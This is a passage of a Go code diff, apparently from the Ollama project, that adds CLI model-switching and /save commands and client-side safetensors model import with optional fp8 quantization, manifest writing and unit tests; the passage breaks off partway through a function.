+			// For cloud models, no need to preload
+			if info.RemoteHost == "" {
+				// Preload the model by sending an empty generate request
+				req := &api.GenerateRequest{
+					Model: newModelName,
+					Think: think,
+				}
+				err = client.Generate(cmd.Context(), req, func(r api.GenerateResponse) error {
+					return nil
+				})
+				if err != nil {
+					p.StopAndClear()
+					if strings.Contains(err.Error(), "not found") {
+						fmt.Printf("Couldn't find model '%s'\n", newModelName)
+					} else if strings.Contains(err.Error(), "does not support thinking") {
+						fmt.Printf("error: %v\n", err)
+					} else {
+						fmt.Printf("error loading model: %v\n", err)
+					}
+					continue
+				}
+			}
+
+			p.StopAndClear()
+			modelName = newModelName
+			messages = []api.Message{}
+			approval.Reset()
+			continue
+		case strings.HasPrefix(line, "/save"):
+			args := strings.Fields(line)
+			if len(args) != 2 {
+				fmt.Println("Usage: /save <modelname>")
+				continue
+			}
+			client, err := api.ClientFromEnvironment()
+			if err != nil {
+				fmt.Println("error: couldn't connect to ollama server")
+				continue
+			}
+			req := &api.CreateRequest{
+				Model:      args[1],
+				From:       modelName,
+				Parameters: options,
+				Messages:   messages,
+			}
+			fn := func(resp api.ProgressResponse) error { return nil }
+			err = client.Create(cmd.Context(), req, fn)
+			if err != nil {
+				fmt.Printf("error: %v\n", err)
+				continue
+			}
+			fmt.Printf("Created new model '%s'\n", args[1])
+			continue
 		case strings.HasPrefix(line, "/"):
 			fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0])
 			continue
@@ -723,10 +1028,12 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 			newMessage := api.Message{Role: "user", Content: sb.String()}
 			messages = append(messages, newMessage)
 
+			verbose, _ := cmd.Flags().GetBool("verbose")
 			opts := RunOptions{
 				Model:        modelName,
 				Messages:     messages,
 				WordWrap:     wordWrap,
+				Format:       format,
 				Options:      options,
 				Think:        think,
 				HideThinking: hideThinking,
@@ -734,6 +1041,7 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
 				Tools:        toolRegistry,
 				Approval:     approval,
 				YoloMode:     yoloMode,
+				Verbose:      verbose,
 			}
 
 			assistant, err := Chat(cmd.Context(), opts)

x/create/client/create.go

@@ -0,0 +1,282 @@
+// Package client provides client-side model creation for safetensors-based models.
+//
+// This package is in x/ because the safetensors model storage format is under development.
+// It also exists to break an import cycle: server imports x/create, so x/create
+// cannot import server. This sub-package can import server because server doesn't
+// import it.
+package client
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+
+	"github.com/ollama/ollama/progress"
+	"github.com/ollama/ollama/server"
+	"github.com/ollama/ollama/types/model"
+	"github.com/ollama/ollama/x/create"
+)
+
+// MinOllamaVersion is the minimum Ollama version required for safetensors models.
+const MinOllamaVersion = "0.14.0"
+
+// ModelfileConfig holds configuration extracted from a Modelfile.
+type ModelfileConfig struct {
+	Template string
+	System   string
+	License  string
+}
+
+// CreateOptions holds all options for model creation.
+type CreateOptions struct {
+	ModelName string
+	ModelDir  string
+	Quantize  string           // "fp8" for quantization
+	Modelfile *ModelfileConfig // template/system/license from Modelfile
+}
+
+// CreateModel imports a model from a local directory.
+// This creates blobs and manifest directly on disk, bypassing the HTTP API.
+// Automatically detects model type (safetensors LLM vs image gen) and routes accordingly.
+func CreateModel(opts CreateOptions, p *progress.Progress) error {
+	// Detect model type
+	isSafetensors := create.IsSafetensorsModelDir(opts.ModelDir)
+	isImageGen := create.IsTensorModelDir(opts.ModelDir)
+
+	if !isSafetensors && !isImageGen {
+		return fmt.Errorf("%s is not a supported model directory (needs config.json + *.safetensors or model_index.json)", opts.ModelDir)
+	}
+
+	// Determine model type settings
+	var modelType, spinnerKey string
+	var capabilities []string
+	if isSafetensors {
+		modelType = "safetensors model"
+		spinnerKey = "create"
+		capabilities = []string{"completion"}
+	} else {
+		modelType = "image generation model"
+		spinnerKey = "imagegen"
+		capabilities = []string{"image"}
+	}
+
+	// Set up progress spinner
+	statusMsg := "importing " + modelType
+	spinner := progress.NewSpinner(statusMsg)
+	p.Add(spinnerKey, spinner)
+
+	progressFn := func(msg string) {
+		spinner.Stop()
+		statusMsg = msg
+		spinner = progress.NewSpinner(statusMsg)
+		p.Add(spinnerKey, spinner)
+	}
+
+	// Create the model using shared callbacks
+	var err error
+	if isSafetensors {
+		err = create.CreateSafetensorsModel(
+			opts.ModelName, opts.ModelDir, opts.Quantize,
+			newLayerCreator(), newTensorLayerCreator(),
+			newManifestWriter(opts, capabilities),
+			progressFn,
+		)
+	} else {
+		err = create.CreateImageGenModel(
+			opts.ModelName, opts.ModelDir, opts.Quantize,
+			newLayerCreator(), newTensorLayerCreator(),
+			newManifestWriter(opts, capabilities),
+			progressFn,
+		)
+	}
+
+	spinner.Stop()
+	if err != nil {
+		return err
+	}
+
+	fmt.Printf("Created %s '%s'\n", modelType, opts.ModelName)
+	return nil
+}
+
+// newLayerCreator returns a LayerCreator callback for creating config/JSON layers.
+func newLayerCreator() create.LayerCreator {
+	return func(r io.Reader, mediaType, name string) (create.LayerInfo, error) {
+		layer, err := server.NewLayer(r, mediaType)
+		if err != nil {
+			return create.LayerInfo{}, err
+		}
+
+		return create.LayerInfo{
+			Digest:    layer.Digest,
+			Size:      layer.Size,
+			MediaType: layer.MediaType,
+			Name:      name,
+		}, nil
+	}
+}
+
+// newTensorLayerCreator returns a QuantizingTensorLayerCreator callback for creating tensor layers.
+// When quantize is non-empty, returns multiple layers (weight + scales + optional qbias).
+func newTensorLayerCreator() create.QuantizingTensorLayerCreator {
+	return func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]create.LayerInfo, error) {
+		if quantize != "" {
+			return createQuantizedLayers(r, name, dtype, shape, quantize)
+		}
+		return createUnquantizedLayer(r, name)
+	}
+}
+
+// createQuantizedLayers quantizes a tensor and returns the resulting layers.
+func createQuantizedLayers(r io.Reader, name, dtype string, shape []int32, quantize string) ([]create.LayerInfo, error) {
+	if !QuantizeSupported() {
+		return nil, fmt.Errorf("quantization requires MLX support")
+	}
+
+	// Quantize the tensor
+	qweightData, scalesData, qbiasData, _, _, _, err := quantizeTensor(r, name, dtype, shape, quantize)
+	if err != nil {
+		return nil, fmt.Errorf("failed to quantize %s: %w", name, err)
+	}
+
+	// Create layer for quantized weight
+	weightLayer, err := server.NewLayer(bytes.NewReader(qweightData), server.MediaTypeImageTensor)
+	if err != nil {
+		return nil, err
+	}
+
+	// Create layer for scales
+	scalesLayer, err := server.NewLayer(bytes.NewReader(scalesData), server.MediaTypeImageTensor)
+	if err != nil {
+		return nil, err
+	}
+
+	layers := []create.LayerInfo{
+		{
+			Digest:    weightLayer.Digest,
+			Size:      weightLayer.Size,
+			MediaType: weightLayer.MediaType,
+			Name:      name,
+		},
+		{
+			Digest:    scalesLayer.Digest,
+			Size:      scalesLayer.Size,
+			MediaType: scalesLayer.MediaType,
+			Name:      name + "_scale",
+		},
+	}
+
+	// Add qbiases layer if present (affine mode)
+	if qbiasData != nil {
+		qbiasLayer, err := server.NewLayer(bytes.NewReader(qbiasData), server.MediaTypeImageTensor)
+		if err != nil {
+			return nil, err
+		}
+		layers = append(layers, create.LayerInfo{
+			Digest:    qbiasLayer.Digest,
+			Size:      qbiasLayer.Size,
+			MediaType: qbiasLayer.MediaType,
+			Name:      name + "_qbias",
+		})
+	}
+
+	return layers, nil
+}
+
+// createUnquantizedLayer creates a single tensor layer without quantization.
+func createUnquantizedLayer(r io.Reader, name string) ([]create.LayerInfo, error) {
+	layer, err := server.NewLayer(r, server.MediaTypeImageTensor)
+	if err != nil {
+		return nil, err
+	}
+
+	return []create.LayerInfo{
+		{
+			Digest:    layer.Digest,
+			Size:      layer.Size,
+			MediaType: layer.MediaType,
+			Name:      name,
+		},
+	}, nil
+}
+
+// newManifestWriter returns a ManifestWriter callback for writing the model manifest.
+func newManifestWriter(opts CreateOptions, capabilities []string) create.ManifestWriter {
+	return func(modelName string, config create.LayerInfo, layers []create.LayerInfo) error {
+		name := model.ParseName(modelName)
+		if !name.IsValid() {
+			return fmt.Errorf("invalid model name: %s", modelName)
+		}
+
+		// Create config blob with version requirement
+		configData := model.ConfigV2{
+			ModelFormat:  "safetensors",
+			Capabilities: capabilities,
+			Requires:     MinOllamaVersion,
+		}
+		configJSON, err := json.Marshal(configData)
+		if err != nil {
+			return fmt.Errorf("failed to marshal config: %w", err)
+		}
+
+		// Create config layer blob
+		configLayer, err := server.NewLayer(bytes.NewReader(configJSON), "application/vnd.docker.container.image.v1+json")
+		if err != nil {
+			return fmt.Errorf("failed to create config layer: %w", err)
+		}
+
+		// Convert LayerInfo to server.Layer
+		serverLayers := make([]server.Layer, 0, len(layers))
+		for _, l := range layers {
+			serverLayers = append(serverLayers, server.Layer{
+				MediaType: l.MediaType,
+				Digest:    l.Digest,
+				Size:      l.Size,
+				Name:      l.Name,
+			})
+		}
+
+		// Add Modelfile layers if present
+		if opts.Modelfile != nil {
+			modelfileLayers, err := createModelfileLayers(opts.Modelfile)
+			if err != nil {
+				return err
+			}
+			serverLayers = append(serverLayers, modelfileLayers...)
+		}
+
+		return server.WriteManifest(name, configLayer, serverLayers)
+	}
+}
+
+// createModelfileLayers creates layers for template, system, and license from Modelfile config.
+func createModelfileLayers(mf *ModelfileConfig) ([]server.Layer, error) {
+	var layers []server.Layer
+
+	if mf.Template != "" {
+		layer, err := server.NewLayer(bytes.NewReader([]byte(mf.Template)), "application/vnd.ollama.image.template")
+		if err != nil {
+			return nil, fmt.Errorf("failed to create template layer: %w", err)
+		}
+		layers = append(layers, layer)
+	}
+
+	if mf.System != "" {
+		layer, err := server.NewLayer(bytes.NewReader([]byte(mf.System)), "application/vnd.ollama.image.system")
+		if err != nil {
+			return nil, fmt.Errorf("failed to create system layer: %w", err)
+		}
+		layers = append(layers, layer)
+	}
+
+	if mf.License != "" {
+		layer, err := server.NewLayer(bytes.NewReader([]byte(mf.License)), "application/vnd.ollama.image.license")
+		if err != nil {
+			return nil, fmt.Errorf("failed to create license layer: %w", err)
+		}
+		layers = append(layers, layer)
+	}
+
+	return layers, nil
+}

x/create/client/create_test.go

@@ -0,0 +1,146 @@
+package client
+
+import (
+	"testing"
+)
+
+func TestModelfileConfig(t *testing.T) {
+	// Test that ModelfileConfig struct works as expected
+	config := &ModelfileConfig{
+		Template: "{{ .Prompt }}",
+		System:   "You are a helpful assistant.",
+		License:  "MIT",
+	}
+
+	if config.Template != "{{ .Prompt }}" {
+		t.Errorf("Template = %q, want %q", config.Template, "{{ .Prompt }}")
+	}
+	if config.System != "You are a helpful assistant." {
+		t.Errorf("System = %q, want %q", config.System, "You are a helpful assistant.")
+	}
+	if config.License != "MIT" {
+		t.Errorf("License = %q, want %q", config.License, "MIT")
+	}
+}
+
+func TestModelfileConfig_Empty(t *testing.T) {
+	config := &ModelfileConfig{}
+
+	if config.Template != "" {
+		t.Errorf("Template should be empty, got %q", config.Template)
+	}
+	if config.System != "" {
+		t.Errorf("System should be empty, got %q", config.System)
+	}
+	if config.License != "" {
+		t.Errorf("License should be empty, got %q", config.License)
+	}
+}
+
+func TestModelfileConfig_PartialFields(t *testing.T) {
+	// Test config with only some fields set
+	config := &ModelfileConfig{
+		Template: "{{ .Prompt }}",
+		// System and License intentionally empty
+	}
+
+	if config.Template == "" {
+		t.Error("Template should not be empty")
+	}
+	if config.System != "" {
+		t.Error("System should be empty")
+	}
+	if config.License != "" {
+		t.Error("License should be empty")
+	}
+}
+
+func TestMinOllamaVersion(t *testing.T) {
+	// Verify the minimum version constant is set
+	if MinOllamaVersion == "" {
+		t.Error("MinOllamaVersion should not be empty")
+	}
+	if MinOllamaVersion != "0.14.0" {
+		t.Errorf("MinOllamaVersion = %q, want %q", MinOllamaVersion, "0.14.0")
+	}
+}
+
+func TestCreateModel_InvalidDir(t *testing.T) {
+	// Test that CreateModel returns error for invalid directory
+	err := CreateModel(CreateOptions{
+		ModelName: "test-model",
+		ModelDir:  "/nonexistent/path",
+	}, nil)
+	if err == nil {
+		t.Error("expected error for nonexistent directory, got nil")
+	}
+}
+
+func TestCreateModel_NotSafetensorsDir(t *testing.T) {
+	// Test that CreateModel returns error for directory without safetensors
+	dir := t.TempDir()
+
+	err := CreateModel(CreateOptions{
+		ModelName: "test-model",
+		ModelDir:  dir,
+	}, nil)
+	if err == nil {
+		t.Error("expected error for empty directory, got nil")
+	}
+}
+
+func TestCreateOptions(t *testing.T) {
+	opts := CreateOptions{
+		ModelName: "my-model",
+		ModelDir:  "/path/to/model",
+		Quantize:  "fp8",
+		Modelfile: &ModelfileConfig{
+			Template: "test",
+			System:   "system",
+			License:  "MIT",
+		},
+	}
+
+	if opts.ModelName != "my-model" {
+		t.Errorf("ModelName = %q, want %q", opts.ModelName, "my-model")
+	}
+	if opts.ModelDir != "/path/to/model" {
+		t.Errorf("ModelDir = %q, want %q", opts.ModelDir, "/path/to/model")
+	}
+	if opts.Quantize != "fp8" {
+		t.Errorf("Quantize = %q, want %q", opts.Quantize, "fp8")
+	}
+	if opts.Modelfile == nil {
+		t.Error("Modelfile should not be nil")
+	}
+	if opts.Modelfile.Template != "test" {
+		t.Errorf("Modelfile.Template = %q, want %q", opts.Modelfile.Template, "test")
+	}
+}
+
+func TestCreateOptions_Defaults(t *testing.T) {
+	opts := CreateOptions{
+		ModelName: "test",
+		ModelDir:  "/tmp",
+	}
+
+	// Quantize should default to empty
+	if opts.Quantize != "" {
+		t.Errorf("Quantize should be empty by default, got %q", opts.Quantize)
+	}
+
+	// Modelfile should default to nil
+	if opts.Modelfile != nil {
+		t.Error("Modelfile should be nil by default")
+	}
+}
+
+func TestQuantizeSupported(t *testing.T) {
+	// This just verifies the function exists and returns a boolean
+	// The actual value depends on build tags (mlx vs non-mlx)
+	supported := QuantizeSupported()
+
+	// In non-mlx builds, this should be false
+	// We can't easily test both cases, so just verify it returns something
+	_ = supported
+}

x/create/client/quantize.go

@@ -0,0 +1,127 @@
+//go:build mlx
+
+package client
+
+import (
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+
+	"github.com/ollama/ollama/x/imagegen/mlx"
+)
+
+// quantizeTensor loads a tensor from safetensors format, quantizes it,
+// and returns safetensors data for the quantized weights, scales, and biases.
+// Supported quantization types: "fp8" (affine 8-bit)
+// Uses MLX's native SaveSafetensors to ensure correct dtype handling (especially uint32 for quantized weights).
+func quantizeTensor(r io.Reader, name, dtype string, shape []int32, quantize string) (qweightData, scalesData, qbiasData []byte, qweightShape, scalesShape, qbiasShape []int32, err error) {
+	tmpDir := ensureTempDir()
+
+	// Read safetensors data to a temp file (LoadSafetensorsNative needs a path)
+	tmpFile, err := os.CreateTemp(tmpDir, "quant-input-*.safetensors")
+	if err != nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to create temp file: %w", err)
+	}
+	tmpPath := tmpFile.Name()
+	defer os.Remove(tmpPath)
+
+	if _, err := io.Copy(tmpFile, r); err != nil {
+		tmpFile.Close()
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to write temp file: %w", err)
+	}
+	tmpFile.Close()
+
+	// Load the tensor using MLX's native loader
+	st, err := mlx.LoadSafetensorsNative(tmpPath)
+	if err != nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to load safetensors: %w", err)
+	}
+	defer st.Free()
+
+	// Get the tensor (it's stored as "data" in our minimal safetensors format)
+	arr := st.Get("data")
+	if arr == nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("tensor 'data' not found in safetensors")
+	}
+
+	// Convert to BFloat16 if needed (quantize expects float type)
+	if arr.Dtype() != mlx.DtypeBFloat16 && arr.Dtype() != mlx.DtypeFloat32 && arr.Dtype() != mlx.DtypeFloat16 {
+		arr = mlx.AsType(arr, mlx.DtypeBFloat16)
+		mlx.Eval(arr)
+	}
+
+	// Quantize based on quantization type
+	var qweight, scales, qbiases *mlx.Array
+	switch quantize {
+	case "fp8":
+		// affine mode: group_size=32, bits=8
+		qweight, scales, qbiases = mlx.Quantize(arr, 32, 8, "affine")
+	default:
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported quantization type: %s", quantize)
+	}
+
+	// Eval and make contiguous for data access
+	qweight = mlx.Contiguous(qweight)
+	scales = mlx.Contiguous(scales)
+	if qbiases != nil {
+		qbiases = mlx.Contiguous(qbiases)
+		mlx.Eval(qweight, scales, qbiases)
+	} else {
+		mlx.Eval(qweight, scales)
+	}
+
+	// Get shapes
+	qweightShape = qweight.Shape()
+	scalesShape = scales.Shape()
+
+	// Save quantized weight using MLX's native safetensors (correctly handles uint32 dtype)
+	qweightPath := filepath.Join(tmpDir, "qweight.safetensors")
+	defer os.Remove(qweightPath)
+	if err := mlx.SaveSafetensors(qweightPath, map[string]*mlx.Array{"data": qweight}); err != nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to save quantized weight: %w", err)
+	}
+	qweightData, err = os.ReadFile(qweightPath)
+	if err != nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to read quantized weight: %w", err)
+	}
+
+	// Save scales using MLX's native safetensors
+	scalesPath := filepath.Join(tmpDir, "scales.safetensors")
+	defer os.Remove(scalesPath)
+	if err := mlx.SaveSafetensors(scalesPath, map[string]*mlx.Array{"data": scales}); err != nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to save scales: %w", err)
+	}
+	scalesData, err = os.ReadFile(scalesPath)
+	if err != nil {
+		return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to read scales: %w", err)
+	}
+
+	// Affine mode returns qbiases for zero-point offset
+	if qbiases != nil {
+		qbiasShape = qbiases.Shape()
+		qbiasPath := filepath.Join(tmpDir, "qbias.safetensors")
+		defer os.Remove(qbiasPath)
+		if err := mlx.SaveSafetensors(qbiasPath, map[string]*mlx.Array{"data": qbiases}); err != nil {
+			return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to save qbiases: %w", err)
+		}
+		qbiasData, err = os.ReadFile(qbiasPath)
+		if err != nil {
+			return nil, nil, nil, nil, nil, nil, fmt.Errorf("failed to read qbiases: %w", err)
+		}
+	}
+
+	return qweightData, scalesData, qbiasData, qweightShape, scalesShape, qbiasShape, nil
+}
+
+// QuantizeSupported returns true if quantization is supported (MLX build)
+func QuantizeSupported() bool {
+	return true
+}
+
+// ensureTempDir creates the temp directory for quantization if it doesn't exist
+func ensureTempDir() string {
+	tmpDir := filepath.Join(os.TempDir(), "ollama-quantize")
+	os.MkdirAll(tmpDir, 0755)
+	return tmpDir
+}

x/create/client/quantize_stub.go

@@ -0,0 +1,18 @@
+//go:build !mlx
+
+package client
+
+import (
+	"fmt"
+	"io"
+)
+
+// quantizeTensor is not available without MLX
+func quantizeTensor(r io.Reader, name, dtype string, shape []int32, quantize string) (qweightData, scalesData, qbiasData []byte, qweightShape, scalesShape, qbiasShape []int32, err error) {
+	return nil, nil, nil, nil, nil, nil, fmt.Errorf("quantization requires MLX support (build with mlx tag)")
+}
+
+// QuantizeSupported returns false when MLX is not available
+func QuantizeSupported() bool {
+	return false
+}

x/create/create.go

@@ -0,0 +1,399 @@
+package create
+
+import (
+	"encoding/json"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"slices"
+	"strings"
+
+	"github.com/ollama/ollama/envconfig"
+	"github.com/ollama/ollama/x/imagegen/safetensors"
+)
+
+// ModelConfig represents the config blob stored with a model.
+type ModelConfig struct {
+	ModelFormat  string   `json:"model_format"`
+	Capabilities []string `json:"capabilities"`
+}
+
+// Manifest represents the manifest JSON structure.
+type Manifest struct {
+	SchemaVersion int             `json:"schemaVersion"`
+	MediaType     string          `json:"mediaType"`
+	Config        ManifestLayer   `json:"config"`
+	Layers        []ManifestLayer `json:"layers"`
+}
+
+// ManifestLayer represents a layer in the manifest.
+type ManifestLayer struct {
+	MediaType string `json:"mediaType"`
+	Digest    string `json:"digest"`
+	Size      int64  `json:"size"`
+	Name      string `json:"name,omitempty"`
+}
+
+// defaultManifestDir returns the manifest storage directory.
+func defaultManifestDir() string {
+	return filepath.Join(envconfig.Models(), "manifests")
+}
+
+// defaultBlobDir returns the blob storage directory.
+func defaultBlobDir() string {
+	return filepath.Join(envconfig.Models(), "blobs")
+}
+
+// resolveManifestPath converts a model name to a manifest file path.
+func resolveManifestPath(modelName string) string {
+	host := "registry.ollama.ai"
+	namespace := "library"
+	name := modelName
+	tag := "latest"
+
+	if idx := strings.LastIndex(name, ":"); idx != -1 {
+		tag = name[idx+1:]
+		name = name[:idx]
+	}
+
+	parts := strings.Split(name, "/")
+	switch len(parts) {
+	case 3:
+		host = parts[0]
+		namespace = parts[1]
+		name = parts[2]
+	case 2:
+		namespace = parts[0]
+		name = parts[1]
+	}
+
+	return filepath.Join(defaultManifestDir(), host, namespace, name, tag)
+}
+
+// loadManifest loads a manifest for the given model name.
+func loadManifest(modelName string) (*Manifest, error) {
+	manifestPath := resolveManifestPath(modelName)
+
+	data, err := os.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+
+	var manifest Manifest
+	if err := json.Unmarshal(data, &manifest); err != nil {
+		return nil, err
+	}
+
+	return &manifest, nil
+}
+
+// loadModelConfig loads the config blob for a model.
+func loadModelConfig(modelName string) (*ModelConfig, error) {
+	manifest, err := loadManifest(modelName)
+	if err != nil {
+		return nil, err
+	}
+
+	// Read the config blob
+	blobName := strings.Replace(manifest.Config.Digest, ":", "-", 1)
+	blobPath := filepath.Join(defaultBlobDir(), blobName)
+
+	data, err := os.ReadFile(blobPath)
+	if err != nil {
+		return nil, err
+	}
+
+	var config ModelConfig
+	if err := json.Unmarshal(data, &config); err != nil {
+		return nil, err
+	}
+
+	return &config, nil
+}
+
+// IsSafetensorsModel checks if a model was created with the experimental
+// safetensors builder by checking the model format in the config.
+func IsSafetensorsModel(modelName string) bool {
+	config, err := loadModelConfig(modelName)
+	if err != nil {
+		return false
+	}
+	return config.ModelFormat == "safetensors"
+}
+
+// IsSafetensorsLLMModel checks if a model is a safetensors LLM model
+// (has completion capability, not image generation).
+func IsSafetensorsLLMModel(modelName string) bool {
+	config, err := loadModelConfig(modelName)
+	if err != nil {
+		return false
+	}
+	return config.ModelFormat == "safetensors" && slices.Contains(config.Capabilities, "completion")
+}
+
+// IsImageGenModel checks if a model is an image generation model
+// (has image capability).
+func IsImageGenModel(modelName string) bool {
+	config, err := loadModelConfig(modelName)
+	if err != nil {
+		return false
+	}
+	return config.ModelFormat == "safetensors" && slices.Contains(config.Capabilities, "image")
+}
+
+// GetModelArchitecture returns the architecture from the model's config.json layer.
+func GetModelArchitecture(modelName string) (string, error) {
+	manifest, err := loadManifest(modelName)
+	if err != nil {
+		return "", err
+	}
+
+	// Find the config.json layer
+	for _, layer := range manifest.Layers {
+		if layer.Name == "config.json" && layer.MediaType == "application/vnd.ollama.image.json" {
+			blobName := strings.Replace(layer.Digest, ":", "-", 1)
+			blobPath := filepath.Join(defaultBlobDir(), blobName)
+
+			data, err := os.ReadFile(blobPath)
+			if err != nil {
+				return "", err
+			}
+
+			var cfg struct {
+				Architectures []string `json:"architectures"`
+				ModelType     string   `json:"model_type"`
+			}
+			if err := json.Unmarshal(data, &cfg); err != nil {
+				return "", err
+			}
+
+			// Prefer model_type, fall back to first architecture
+			if cfg.ModelType != "" {
+				return cfg.ModelType, nil
+			}
+			if len(cfg.Architectures) > 0 {
+				return cfg.Architectures[0], nil
+			}
+		}
+	}
+
+	return "", fmt.Errorf("architecture not found in model config")
+}
+
+// IsTensorModelDir checks if the directory contains a diffusers-style tensor model
+// by looking for model_index.json, which is the standard diffusers pipeline config.
+func IsTensorModelDir(dir string) bool {
+	_, err := os.Stat(filepath.Join(dir, "model_index.json"))
+	return err == nil
+}
+
+// IsSafetensorsModelDir checks if the directory contains a standard safetensors model
+// by looking for config.json and at least one .safetensors file.
+func IsSafetensorsModelDir(dir string) bool {
+	// Must have config.json
+	if _, err := os.Stat(filepath.Join(dir, "config.json")); err != nil {
+		return false
+	}
+
+	// Must have at least one .safetensors file
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return false
+	}
+
+	for _, entry := range entries {
+		if strings.HasSuffix(entry.Name(), ".safetensors") {
+			return true
+		}
+	}
+
+	return false
+}
+
+// LayerInfo holds metadata for a created layer.
+type LayerInfo struct {
+	Digest    string
+	Size      int64
+	MediaType string
+	Name      string // Path-style name: "component/tensor" or "path/to/config.json"
+}
+
+// LayerCreator is called to create a blob layer.
+// name is the path-style name (e.g., "tokenizer/tokenizer.json")
+type LayerCreator func(r io.Reader, mediaType, name string) (LayerInfo, error)
+
+// TensorLayerCreator creates a tensor blob layer with metadata.
+// name is the path-style name including component (e.g., "text_encoder/model.embed_tokens.weight")
+type TensorLayerCreator func(r io.Reader, name, dtype string, shape []int32) (LayerInfo, error)
+
+// QuantizingTensorLayerCreator creates tensor layers with optional quantization.
+// When quantize is non-empty (e.g., "fp8"), returns multiple layers (weight + scales + biases).
+type QuantizingTensorLayerCreator func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error)
+
+// ManifestWriter writes the manifest file.
+type ManifestWriter func(modelName string, config LayerInfo, layers []LayerInfo) error
+
+// ShouldQuantize returns true if a tensor should be quantized.
+// For image gen models (component non-empty): quantizes linear weights, skipping VAE, embeddings, norms.
+// For LLM models (component empty): quantizes linear weights, skipping embeddings, norms, and small tensors.
+func ShouldQuantize(name, component string) bool {
+	// Image gen specific: skip VAE entirely
+	if component == "vae" {
+		return false
+	}
+
+	// Skip embeddings
+	if strings.Contains(name, "embed") {
+		return false
+	}
+
+	// Skip layer norms and RMS norms
+	if strings.Contains(name, "norm") || strings.Contains(name, "ln_") || strings.Contains(name, "layernorm") {
+		return false
+	}
+
+	// Skip biases
+	if strings.HasSuffix(name, ".bias") {
+		return false
+	}
+
+	// Only quantize weights
+	return strings.HasSuffix(name, ".weight")
+}
+
+// ShouldQuantizeTensor returns true if a tensor should be quantized based on name and shape.
+// This is a more detailed check that also considers tensor dimensions.
+func ShouldQuantizeTensor(name string, shape []int32) bool {
+	// Use basic name-based check first
+	if !ShouldQuantize(name, "") {
+		return false
+	}
+
+	// Only quantize 2D tensors (linear layers) - skip 1D (biases, norms) and higher-D (convolutions if any)
+	if len(shape) != 2 {
+		return false
+	}
+
+	// Skip small tensors (less than 1024 elements) - not worth quantizing
+	if len(shape) >= 2 && int64(shape[0])*int64(shape[1]) < 1024 {
+		return false
+	}
+
+	// MLX quantization requires last dimension to be divisible by group size (32)
+	if shape[len(shape)-1]%32 != 0 {
+		return false
+	}
+
+	return true
+}
+
+// CreateSafetensorsModel imports a standard safetensors model from a directory.
+// This handles Hugging Face style models with config.json and *.safetensors files.
+// Stores each tensor as a separate blob for fine-grained deduplication.
+// If quantize is non-empty (e.g., "fp8"), eligible tensors will be quantized.
+func CreateSafetensorsModel(modelName, modelDir, quantize string, createLayer LayerCreator, createTensorLayer QuantizingTensorLayerCreator, writeManifest ManifestWriter, fn func(status string)) error {
+	var layers []LayerInfo
+	var configLayer LayerInfo
+
+	entries, err := os.ReadDir(modelDir)
+	if err != nil {
+		return fmt.Errorf("failed to read directory: %w", err)
+	}
+
+	// Process all safetensors files
+	for _, entry := range entries {
+		if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".safetensors") {
+			continue
+		}
+
+		stPath := filepath.Join(modelDir, entry.Name())
+
+		// Extract individual tensors from safetensors file
+		extractor, err := safetensors.OpenForExtraction(stPath)
+		if err != nil {
+			return fmt.Errorf("failed to open %s: %w", stPath, err)
+		}
+
+		tensorNames := extractor.ListTensors()
+		quantizeMsg := ""
+		if quantize != "" {
+			quantizeMsg = fmt.Sprintf(", quantizing to %s", quantize)
+		}
+		fn(fmt.Sprintf("importing %s (%d tensors%s)", entry.Name(), len(tensorNames), quantizeMsg))
+
+		for _, tensorName := range tensorNames {
+			td, err := extractor.GetTensor(tensorName)
+			if err != nil {
+				extractor.Close()
+				return fmt.Errorf("failed to get tensor %s: %w", tensorName, err)
+			}
+
+			// Determine quantization type for this tensor (empty string if not quantizing)
+			quantizeType := ""
+			if quantize != "" && ShouldQuantizeTensor(tensorName, td.Shape) {
+				quantizeType = quantize
+			}
+
+			// Store as minimal safetensors format (88 bytes header overhead)
+			// This enables native mmap loading via mlx_load_safetensors
+			// createTensorLayer returns multiple layers if quantizing (weight + scales)
+			newLayers, err := createTensorLayer(td.SafetensorsReader(), tensorName, td.Dtype, td.Shape, quantizeType)
+			if err != nil {
+				extractor.Close()
+				return fmt.Errorf("failed to create layer for %s: %w", tensorName, err)
+			}
+			layers = append(layers, newLayers...)
+		}
+
+		extractor.Close()
+	}
+
+	// Process all JSON config files
+	for _, entry := range entries {
+		if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") {
+			continue
+		}
+
+		// Skip the index file as we don't need it after extraction
+		if entry.Name() == "model.safetensors.index.json" {
+			continue
+		}
+
+		cfgPath := entry.Name()
+		fullPath := filepath.Join(modelDir, cfgPath)
+
+		fn(fmt.Sprintf("importing config %s", cfgPath))
+
+		f, err := os.Open(fullPath)
+		if err != nil {
+			return fmt.Errorf("failed to open %s: %w", cfgPath, err)
+		}
+
+		layer, err := createLayer(f, "application/vnd.ollama.image.json", cfgPath)
+		f.Close()
+		if err != nil {
+			return fmt.Errorf("failed to create layer for %s: %w", cfgPath, err)
+		}
+
+		// Use config.json as the config layer
+		if cfgPath == "config.json" {
+			configLayer = layer
+		}
+
+		layers = append(layers, layer)
+	}
+
+	if configLayer.Digest == "" {
+		return fmt.Errorf("config.json not found in %s", modelDir)
+	}
+
+	fn(fmt.Sprintf("writing manifest for %s", modelName))
+
+	if err := writeManifest(modelName, configLayer, layers); err != nil {
+		return fmt.Errorf("failed to write manifest: %w", err)
+	}
+
